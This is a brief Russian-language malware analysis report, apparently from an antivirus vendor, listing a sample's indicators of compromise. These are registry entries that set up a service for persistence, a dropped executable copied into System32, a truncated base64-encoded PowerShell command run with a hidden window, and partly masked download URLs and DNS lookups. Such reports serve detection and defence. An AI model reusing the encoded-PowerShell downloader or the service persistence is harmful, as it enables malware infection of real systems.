Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\cablesetthe] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\cablesetthe] 'ImagePath' = '"<SYSTEM32>\cablesetthe.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAVQBnAHIAZwB6AG8AcQBsAHgAYwB4AHgAcgAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBMAGIAdQB3AGwAcgB0AG0AZwBnACAAIwA+ACAAJABHAHkAZwBpAHMAdABvAG4AbgB1AGMAeA...
- %HOMEPATH%\820.exe
- %HOMEPATH%\820.exe в <SYSTEM32>\cablesetthe.exe
- http://wp.##dnicky.cz/wp-core/uwvhYBcW/
- http://19#.#95.148.163/entries/splash/ringin/merge/
- DNS ASK ho###lizbeth.mx
- DNS ASK co####entlook.co.uk
- DNS ASK wp.##dnicky.cz
- '%HOMEPATH%\820.exe'
- '<SYSTEM32>\cablesetthe.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAVQBnAHIAZwB6AG8AcQBsAHgAYwB4AHgAcgAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBMAGIAdQB3AGwAcgB0AG0AZwBnACAAIwA+ACAAJABHAHkAZwBpAHMAdABvAG4AbgB1AGMAeA...' (со скрытым окном)